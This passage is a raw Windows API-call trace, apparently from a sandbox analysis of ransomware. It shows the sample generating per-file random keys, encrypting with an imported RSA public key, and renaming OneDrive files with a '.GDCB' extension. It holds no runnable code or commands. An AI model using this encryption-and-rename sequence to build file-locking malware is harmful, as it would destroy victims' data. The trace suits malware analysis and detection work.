settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settings.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settings.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settings.svg.gdcb")) returned 0 [0180.680] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.682] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.682] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.682] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.684] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0180.686] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bfc8) returned 1 [0180.686] CryptGetKeyParam (in: hKey=0x4f2bfc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.686] CryptEncrypt (in: hKey=0x4f2bfc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5560000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5560000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.687] GetLastError () returned 0x0 [0180.687] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.687] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.688] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c308) returned 1 [0180.688] CryptGetKeyParam (in: hKey=0x4f2c308, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.688] CryptEncrypt (in: hKey=0x4f2c308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5570000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5570000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.689] GetLastError () returned 0x0 [0180.689] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.689] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settingsdisabled.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settingsdisabled.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.689] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.691] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.691] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.691] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.691] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.692] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.693] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.693] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.693] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0180.695] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c408) returned 1 [0180.695] CryptGetKeyParam (in: hKey=0x4f2c408, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.695] CryptEncrypt (in: hKey=0x4f2c408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5580000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5580000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.696] GetLastError () returned 0x0 [0180.696] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.696] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.698] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c488) returned 1 [0180.698] CryptGetKeyParam (in: hKey=0x4f2c488, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.698] CryptEncrypt (in: hKey=0x4f2c488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5590000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5590000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.698] GetLastError () returned 0x0 [0180.698] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.698] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\stackedIceCubes.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\stackedicecubes.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.698] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0180.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.700] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.700] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0180.700] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.702] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.702] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.704] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bdc8) returned 1 [0180.704] CryptGetKeyParam (in: hKey=0x4f2bdc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.704] CryptEncrypt (in: hKey=0x4f2bdc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x55a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.704] GetLastError () returned 0x0 [0180.704] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.704] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0180.706] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bd08) returned 1 [0180.706] CryptGetKeyParam (in: hKey=0x4f2bd08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.706] CryptEncrypt (in: hKey=0x4f2bd08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x55b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.706] GetLastError () returned 0x0 [0180.706] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0180.706] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\waterGlass.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\waterglass.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.721] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.723] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.723] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.723] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.723] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0180.724] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.725] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.725] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0180.727] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2bd88) returned 1 [0180.727] CryptGetKeyParam (in: hKey=0x4f2bd88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.727] CryptEncrypt (in: hKey=0x4f2bd88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.727] GetLastError () returned 0x0 [0180.727] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.727] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.729] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2bf48) returned 1 [0180.729] CryptGetKeyParam (in: hKey=0x4f2bf48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.729] CryptEncrypt (in: hKey=0x4f2bf48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.729] GetLastError () returned 0x0 [0180.729] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.729] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.732] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0180.733] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0180.733] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x1900, lpOverlapped=0x0) returned 1 [0180.762] VirtualAlloc (lpAddress=0x0, dwSize=0x1900, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0180.766] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\LoadingPage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\loadingpage.html.gdcb")) returned 0 [0180.782] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.784] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.784] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.784] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.786] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.786] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.786] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.786] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0180.788] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2bf08) returned 1 [0180.788] CryptGetKeyParam (in: hKey=0x4f2bf08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.788] CryptEncrypt (in: hKey=0x4f2bf08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.788] GetLastError () returned 0x0 [0180.788] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.788] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.790] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2bec8) returned 1 [0180.790] CryptGetKeyParam (in: hKey=0x4f2bec8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.790] CryptEncrypt (in: hKey=0x4f2bec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.791] GetLastError () returned 0x0 [0180.791] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.791] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.793] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0180.794] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0180.795] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x123c, lpOverlapped=0x0) returned 1 [0180.875] VirtualAlloc (lpAddress=0x0, dwSize=0x1240, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0180.879] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png.gdcb")) returned 0 [0180.941] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.943] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.944] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.944] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.944] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.946] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.946] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.946] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.947] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.949] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c1c8) returned 1 [0180.949] CryptGetKeyParam (in: hKey=0x4f2c1c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.949] CryptEncrypt (in: hKey=0x4f2c1c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.949] GetLastError () returned 0x0 [0180.949] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.949] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0180.951] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c588) returned 1 [0180.951] CryptGetKeyParam (in: hKey=0x4f2c588, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.951] CryptEncrypt (in: hKey=0x4f2c588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.951] GetLastError () returned 0x0 [0180.951] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.954] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0180.955] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x55f0000 [0180.956] ReadFile (in: hFile=0x514, lpBuffer=0x55f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x55f0000*, lpNumberOfBytesRead=0x285d3e8*=0x2266, lpOverlapped=0x0) returned 1 [0180.965] VirtualAlloc (lpAddress=0x0, dwSize=0x2270, flAllocationType=0x3000, flProtect=0x4) returned 0x5700000 [0180.969] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png"), 